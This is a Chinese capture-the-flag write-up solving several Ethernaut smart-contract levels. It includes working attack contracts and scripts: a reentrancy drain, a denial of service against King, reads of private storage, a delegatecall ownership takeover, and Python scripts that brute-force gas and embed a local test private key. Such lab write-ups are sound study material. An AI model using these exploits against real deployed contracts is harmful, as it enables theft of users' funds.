后来发现web3.eth.getStorageAt可以直接获得合约的内存,包括私有变量,所以可以直接获得bytes32 private password,提交解锁,具体参考:这里

1
2
3
4
var password = await web3.eth.getStorageAt(contract.address, 1);
await contract.unlock(password);
await contract.locked()
// false

提交即可

zk-SNARKs

PS:马克一下折腾时用到的一些命令,万一以后有用

1
2
3
4
5
6
7
8
9
// 拿合约ByteCode
// 在线反汇编:https://ethervm.io/decompile/
await web3.eth.getCode(contract.address)
// 拿区块,默认最上一块,否则输入块号
var block = await web3.eth.getBlock();
// 拿输入,需要拿交易数据,交易Hash可以在区块信息中拿到
(await web3.eth.getTransaction(block.transactions[0])).input;
// 拿合约号、输出等信息
(await web3.eth.getTransactionReceipt(block.transactions[0])).contractAddress

09_King·

下面的合约表示了一个很简单的游戏: 任何一个发送了高于目前价格的人将成为新的国王. 在这个情况下, 上一个国王将会获得新的出价, 这样可以赚得一些以太币. 看起来像是庞氏骗局.

这么有趣的游戏, 你的目标是攻破他.

当你提交实例给关卡时, 关卡会重新申明王位. 你需要阻止他重获王位来通过这一关.

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

address king;
uint public prize;
address public owner;

constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address) {
return king;
}
}

搞了一下多线程,好像不太行

提交一次可以把prize清零,盲猜是owner转了个value=0,由于msg.sender == owner所以一定能过require,防不住啊

king = msg.sender前还夹了个transfer,所以转换一下思路,如果可以引发transfer报错,就不会执行king = msg.sender,而前面Force里提了“没有receive函数的话转钱好像会报错”,所以搞个没有receive的攻击合约向题目合约打钱即可

由于没有receive,所以在攻击合约中用transfer会报错,可以转用call函数然后设value,另把constructorpayable可以在Remix部署时转入钱,不过由于可以把prize清零所以在这里用处并不大

攻击合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Hack {
address payable vicAddr = payable(0x400890FeB77E0e555D02f8969CA00850f65B96D2);

constructor() payable {}

function hack() public payable returns(bytes memory) {
(bool success, bytes memory data) = vicAddr.call{value: msg.value}('');
require(success);
return data;
}

function ng() public payable {
vicAddr.transfer(msg.value);
}
}

首先看原king

1
2
3
4
await contract._king()
// '0x9A676e781A523b5d0C0e43731313A708CB607508'
(await contract.prize()).words[0]
// 13008896

提交一下,没通过但是无所谓,再看看prize

1
2
(await contract.prize()).words[0]
// 0

归零了,然后部署攻击合约,

ng的话会NG,因为没有receive,可以调call,设个0以上的value然后hack即可

PS:后来试过即使有receive,如果receive里面的逻辑太复杂也会退回,因为transfer有2300的Gas限制

再看看king

1
2
await contract._king()
// '0x95775fD3Afb1F4072794CA4ddA27F2444BCf8Ac3'

变成了合约地址,这时向题目合约转点钱看看

1
await contract.send(0)

如无意外会报Transaction reverted without a reason string,然后提交即可

参见: King of the EtherKing of the Ether Postmortem

10_Re-entrancy·

这一关的目标是偷走合约的所有资产.

这些可能有帮助:

  • 不可信的合约可以在你意料之外的地方执行代码.
  • Fallback methods
  • 抛出/恢复 bubbling
  • 有的时候攻击一个合约的最好方式是使用另一个合约.
  • 查看上方帮助页面, “Beyond the console” 部分

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

由题目名可知是重入攻击,关于重入攻击,在WTF-Solidity上有很详细的介绍,建议去康康

大概意思是,在题目合约向我攻击合约转账时,会调用攻击合约的receivefallback函数,在receivefallback执行完毕后才会继续call后面的操作,

注意到扣款操作(balances[msg.sender] -= _amount)在call之后,所以如果攻击合约的receivefallback中也调用withdraw,则会在call还没结束时调用withdraw,于是可实现在上一笔withdraw还没扣款就又可以取款

然后这一笔withdraw里的call又触发我receivefallback中的withdraw,所以可以达到循环提款且不用扣款

偷一个图方便理解

顺便偷一个receivefallback的调用逻辑

理解原理后开始攻击,先看看题目合约余额

1
2
await web3.eth.getBalance(contract.address)
// '1000000000000000'

数额不大,设个value = 1000000000000000,一次抽干

攻击合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Reentrance {
function balances() external;
function donate(address _to) payable external;
function balanceOf(address _who) view external;
function withdraw(uint _amount) external;
}

contract Hack {
Reentrance r;
address payable vicAddr = payable(0x524F04724632eED237cbA3c37272e018b3A7967e);
uint value = 1000000000000000;

constructor() payable {
r = Reentrance(vicAddr);
}

function hack() public payable {
r.donate{value: value}(address(this));
r.withdraw(value);
}

receive() external payable {
if (vicAddr.balance > 0) {
r.withdraw(value);
}
}
}

部署时记得转入1000000000000000 Wei

hack后再看余额

1
2
await web3.eth.getBalance(contract.address)
// '0'

归零,提交

11_Elevator·

电梯不会让你达到大楼顶部, 对吧?

这可能有帮助:

  • 有的时候 solidity 不是很擅长保存 promises.
  • 这个 电梯 期待被用在一个 建筑 里.

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
function isLastFloor(uint) external returns (bool);
}


contract Elevator {
bool public top;
uint public floor;

function goTo(uint _floor) public {
Building building = Building(msg.sender);

if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

Building(msg.sender)传入的是我的地址,所以可以控制isLastFloor

然后看要求是对于同一个输入,isLastFloor第一次要返回false,第二次返回true,那就与输入无关就好了

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Elevator {
function top() external;
function floor() external;
function goTo(uint _floor) external;
}

contract Building {
Elevator e;
address vicAddr = 0x033488800Ae672726c34620D4Bd817E1590d4cDc;
bool coin = true;

constructor() {
e = Elevator(vicAddr);
}

function isLastFloor(uint f) public returns (bool) {
coin = !coin;
return coin;
}

function hack() public {
e.goTo(1);
}
}

部署时会报Warning: Unused function parameter,不用管

1
2
await contract.top()
// true

提交

阅读 Solidity’s documentation

12_Privacy·

这个合约的制作者非常小心的保护了敏感区域的 storage.

解开这个合约来完成这一关.

这些可能有帮助:

  • 理解 storage 的原理
  • 理解 parameter parsing 的原理
  • 理解 casting 的原理

Tips:

  • 记住 metamask 只是个普通的工具. 如果它有问题,可以使用别的工具. 进阶的操作应该包括 remix, 或是你自己的 web3 提供者.

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {

bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;

constructor(bytes32[3] memory _data) {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}

/*
A bunch of super advanced solidity algorithms...

,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}

首先根据Vault知道可以使用web3.eth.getStorageAt获取合约的内存,问题就剩下怎么找到bytes16(data[2])

首先看看Solidity的内存分布,可以参考这里的紧凑存储,大概意思是内存中存到Slot的顺序和代码中指定的顺序一致,但是存的时候会在保证顺序的前提下尽量把一个Slot填满,即如果可以找到两个(定长)变量合起来长度小于256 bits的话,就会把两个存在同一个Slot,靠前面的变量会存在内存较低的位置

分析一下可得这个合约的内存为(注:地址255 -> 0

1
2
3
4
5
6
0: 0(255) | locked(1)
1: ID(256)
2: 0(224) | awkwardness(16) | denomination(8) | flattening(8)
3: data[0](256)
4: data[1](256)
5: data[2](256)

这样的话data[2]就应该拿web3.eth.getStorageAt(contract.address, 5)

但实际上解锁需要的是bytes16(data[2]),所以还需要一个类型转换

根据这里的说法,Solidity中bytes是从高位填起,转换的话应该是拿data[2]的高16字节

所以

1
2
3
4
var res = '0x' + (await web3.eth.getStorageAt(contract.address, 5)).substr(2, 32);
await contract.unlock(res);
(await contract.locked()).toString()
// 'false'

提交即可

文章: How to read Ethereum contract storage

13_Gatekeeper One·

越过守门人并且注册为一个参赛者来完成这一关.

这可能有帮助:

  • 想一想你在 Telephone 和 Token 关卡学到的知识.
  • 你可以在 solidity 文档中更深入的了解 gasleft() 函数 (参见 herehere).

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {

address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

GateOne·

gateOne其实就是前面的Telephone,抄过来即可。

但攻击合约我改了一下,为了在调试中减少合约部署的次数,把攻击对象地址等都设成了变量

hack.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface GatekeeperOne {
function enter(bytes8 _gateKey) payable external;
}

contract Hack {
constructor() {}

function hack(uint256 g, address a, bytes8 b) public {
address vicAddr = payable(a);
GatekeeperOne go = GatekeeperOne(vicAddr);
go.enter{gas: g}(b);
}

receive() external payable {}
}

GateTwo·

大概是到gateTwo函数的require里,剩下的gas要是8191的倍数,其实这里枚举输入进去的gas即可。

实际操作过程中会有一些坑,第一坑是,如果用MateMask交易的话,他好像会帮我计算一个最节省的gas,导致hack里面的{gas: g}不起作用,估计是太抠了,到go.enter{gas: g}(b)这里不够gas了?

用Python打则没问题,所以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from web3 import Web3, HTTPProvider
import json
import time

chainId = int(1337)
RPC_url = 'http://localhost:8545'
web3 = Web3(HTTPProvider(RPC_url))

state = web3.is_connected()
print(state)
if not state:
exit(-1)
player = '0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266'
sk = 'ac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80'
account = web3.eth.account.from_key(sk)
print(web3.eth.get_balance(player))

hackAbi = '[{"inputs":[{"internalType":"uint256","name":"g","type":"uint256"},{"internalType":"address","name":"a","type":"address"},{"internalType":"bytes8","name":"b","type":"bytes8"}],"name":"hack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"receive"}]'
hackAbi = json.loads(hackAbi)
hackAddress = '0x40918Ba7f132E0aCba2CE4de4c4baF9BD2D7D849'
hackContract = web3.eth.contract(abi=hackAbi, address=hackAddress)

gAddr = '0x5E3d0fdE6f793B3115A9E7f5EBC195bbeeD35d6C'
for i in range(200, 500):
functionEncode = hackContract.encodeABI(fn_name="hack", args=[819100 + i, gAddr, b'aaaaaaaa'])
nonce = int(web3.eth.get_transaction_count(account.address))
tx = {
'chainId': chainId,
'nonce': nonce,
'gasPrice': int(5000000),
'gas': int(5000000),
'value': int(0),
'from': player,
'to': hackAddress,
'data': functionEncode,
}
try:
sign = web3.eth.account.sign_transaction(tx, sk)
hashTx = web3.eth.send_raw_transaction(sign.rawTransaction).hex()
print('[Log] Sending transaction ...')
result = web3.eth.wait_for_transaction_receipt(hashTx)
print(result)
except Exception as e:
print(i)
if e.args[0]['data']['message'] != 'Error: Transaction reverted without a reason string':
print(e)
break
# 256

以上hackAbihackAddress填上攻击合约hack.sol部署后的ABI和地址,gAddr填上题目合约地址,最后测出来需要输入的gas8191 * n + 256

还有另一个坑是,如果我用题目源码在Remix上面自己编一遍的话,会发现消耗的gas会不一样,比如我用Remix上的0.8.0编出来,测了一下需要8191 * n + 426,明显和题目编的不一样

GateThree·

GateThree就是Privacy的内容,首先需要根据这里的知识复习一下变量在内存的存储方式

如果把_gateKey划分成gk7 | gk6 | ... | gk0这8个Bytes的话,uint64(_gateKey)就是直接把这8个Bytes转成数字

第一个条件中,uint32(uint64(_gateKey))就是gk3 | gk2 | gk1 | gk0这4个Bytes,uint16(uint64(_gateKey)就是gk1 | gk0这2个Bytes,现在要两者相等,就是要gk3gk2都是\x00

第二个条件中,uint32(uint64(_gateKey)) != uint64(_gateKey)就是要gk7 | gk6 | gk5 | gk4这4个Bytes不全为\x00

第三个条件中,uint16(uint160(tx.origin)就是tx.origin的最低2个Bytes,uint32(uint64(_gateKey))上面说了等于gk1 | gk0,所以就是要gk1 | gk0等于tx.origin的最低2个Bytes

所以根据分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from web3 import Web3, HTTPProvider
import json
import time

chainId = int(1337)
RPC_url = 'http://localhost:8545'
web3 = Web3(HTTPProvider(RPC_url))

state = web3.is_connected()
print(state)
if not state:
exit(-1)
player = '0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266'
sk = 'ac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80'
account = web3.eth.account.from_key(sk)
print(web3.eth.get_balance(player))

hackAbi = '[{"inputs":[{"internalType":"uint256","name":"g","type":"uint256"},{"internalType":"address","name":"a","type":"address"},{"internalType":"bytes8","name":"b","type":"bytes8"}],"name":"hack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"receive"}]'
hackAbi = json.loads(hackAbi)
hackAddress = '0x40918Ba7f132E0aCba2CE4de4c4baF9BD2D7D849'
hackContract = web3.eth.contract(abi=hackAbi, address=hackAddress)

gAddr = '0x5E3d0fdE6f793B3115A9E7f5EBC195bbeeD35d6C'
functionEncode = hackContract.encodeABI(fn_name="hack", args=[819100 + 256, gAddr, b'aaaa\x00\x00' + bytes.fromhex(player[-4:])])
nonce = int(web3.eth.get_transaction_count(account.address))
tx = {
'chainId': chainId,
'nonce': nonce,
'gasPrice': int(5000000),
'gas': int(5000000),
'value': int(0),
'from': player,
'to': hackAddress,
'data': functionEncode,
}
try:
sign = web3.eth.account.sign_transaction(tx, sk)
hashTx = web3.eth.send_raw_transaction(sign.rawTransaction).hex()
print('[Log] Sending transaction ...')
result = web3.eth.wait_for_transaction_receipt(hashTx)
print(result)
except Exception as e:
print(e)

回到题目中看看

1
2
await contract.entrant()
// '0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266'

提交即可

14_Gatekeeper Two·

这个守门人带来了一些新的挑战, 同样的需要注册为参赛者来完成这一关

这可能有帮助:

  • 想一想你从上一个守门人那学到了什么.
  • 第二个门中的 assembly 关键词可以让一个合约访问非原生的 vanilla solidity 功能. 参见 here . extcodesize 函数可以用来得到给定地址合约的代码长度 - 你可以在这个页面学习到更多 yellow paper.
  • ^ 符号在第三个门里是位操作 (XOR), 在这里是代表另一个常见的位操作 (参见 here). Coin Flip 关卡也是一个很好的参考.

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {

address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

首先gateOne和上一关类似,略了

gateTwo调用了个内联汇编,但代码不长,所以还不用慌

extcodesize(caller())大概意思是调用者的合约的代码长度,一般来说能做调用的话起码会有调用的代码,所以代码长度都应该大于0,但有一种情况例外,就是合约创建时在contract中调用,这时因为合约还没部署完成,所以不会查到代码长度,参考:这里

gateThree就是算个异或,msg.sender在攻击合约中就是address(this),所以在攻击代码中算出_gateKey

1
uint64 gk = uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ type(uint64).max;

然后发送时转成bytes8即可

参考代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface GatekeeperTwo {
function enter(bytes8 _gateKey) external;
}

contract Hack {
constructor() {
address vicAddr = 0xeC4cFde48EAdca2bC63E94BB437BbeAcE1371bF3;
GatekeeperTwo gt = GatekeeperTwo(vicAddr);
uint64 gk = uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ type(uint64).max;
gt.enter(bytes8(gk));
}
}

回到题目中

1
2
await contract.entrant()
// '0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266'

提交即可

15_Naught Coin·

NaughtCoin 是一种 ERC20 代币,而且您已经持有这些代币。问题是您只能在 10 年之后才能转移它们。您能尝试将它们转移到另一个地址,以便您可以自由使用它们吗?通过将您的代币余额变为 0 来完成此关卡。

这可能有用

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import 'openzeppelin-contracts-08/token/ERC20/ERC20.sol';

contract NaughtCoin is ERC20 {

// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = block.timestamp + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;

constructor(address _player)
ERC20('NaughtCoin', '0x0') {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}

// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
} else {
_;
}
}
}

首先关于ERC20可以参考WTF Solidity

先看余额

1
2
(await contract.balanceOf(player)).toString()
'1000000000000000000000000'

题目覆写了父类ERC20的转账函数transfer,加了个lockTokens,而且lockTokens的时间设置看着好像没问题。

翻文档可以知道ERC20还有另一个转账函数是transferFrom,而这个函数没被题目函数覆写,所以可以考虑跳过题目合约直接调用transferFrom转账。

直接调用transferFrom会报ERC20: insufficient allowance,参考这里可知要调用approve授权

1
await contract.approve(player, await contract.INITIAL_SUPPLY())

在MetaMask批准一下,然后转账

1
await contract.transferFrom(player, contract.address, await contract.balanceOf(player))

再看余额

1
2
(await contract.balanceOf(player)).toString()
'0'

提交即可

16_Preservation·

该合约利用库合约保存 2 个不同时区的时间戳。合约的构造函数输入两个库合约地址用于保存不同时区的时间戳。

通关条件:尝试取得合约的所有权(owner)。

可能有帮助的注意点:

  1. 深入了解 Solidity 官网文档中底层方法 delegatecall 的工作原理,它如何在链上和库合约中的使用该方法,以及执行的上下文范围。
  2. 理解 delegatecall 的上下文保留的含义
  3. 理解合约中的变量是如何存储和访问的
  4. 理解不同类型之间的如何转换

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {

// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}

// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}

// Simple library contract to set the time
contract LibraryContract {

// stores a timestamp
uint storedTime;

function setTime(uint _time) public {
storedTime = _time;
}
}

先看一下owner,不是我

1
2
await contract.owner()
'0x59b670e9fA9D0A427751Af201D676719a970857b'

Delegation中已经接触过委托调用,委托调用大概的特点是,调用外部合约的代码,但是修改自己合约的内存变量,关于委托调用的更多知识可以参考WTF Solidity

在WTF其中提到合约B必须和目标合约C的变量存储布局必须相同,然而题目的合约明显就布局不一样,可以测一下会发生什么,随便调用一下setFirstTime

1
2
3
4
5
6
7
8
9
10
11
await contract.timeZone1Library()
// '0xCe85503De9399D4dECa3c0b2bb3e9e7CFCBf9C6B'
await web3.eth.getStorageAt(contract.address, 0)
// '0x000000000000000000000000ce85503de9399d4deca3c0b2bb3e9e7cfcbf9c6b'

await contract.setFirstTime(123)

await contract.timeZone1Library()
// '0x000000000000000000000000000000000000007B'
await web3.eth.getStorageAt(contract.address, 0)
// '0x000000000000000000000000000000000000000000000000000000000000007b'

可以发现timeZone1Library变量已经变成我从setFirstTime传进去的参数,就是说,delegatecall修改自己合约中的变量并不是按变量名修改,而是按内存地址修改

LibraryContract 中第一个变量是storedTime(256 bits),而在Preservation 中第一个变量是timeZone1Library(256 bits),在使用delegatecall调用LibraryContractsetTime时,他会去寻找被认为是storedTime的第一个变量,但实际在Preservation合约中的第一个变量是timeZone1Library,所以最终改的是timeZone1Library,(有点绕)

于是就可以自己怼一个攻击合约,在攻击合约中修改owner,然后用上面方法把timeZone1Library改成攻击合约的地址,最后再调用一次setFirstTime获得权限

参考攻击合约(注意变量布局要和题目合约一致)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Hack {

address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;

constructor() {}

function setTime(uint _time) public {
address player = 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266;
owner = player;
}
}

然后设一次时间覆盖timeZone1Library的地址,由于setFirstTime在测试的时候被污染了,所以用setSecondTime,或者重开也行

1
2
3
4
var hack = '0xdbC43Ba45381e02825b14322cDdd15eC4B3164E6';
await contract.setSecondTime(hack);
await web3.eth.getStorageAt(contract.address, 0)
// '0x000000000000000000000000dbc43ba45381e02825b14322cddd15ec4b3164e6'

然后调用setFirstTime获取权限

1
2
3
await contract.setFirstTime(123);
await contract.owner()
// '0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266'

提交即可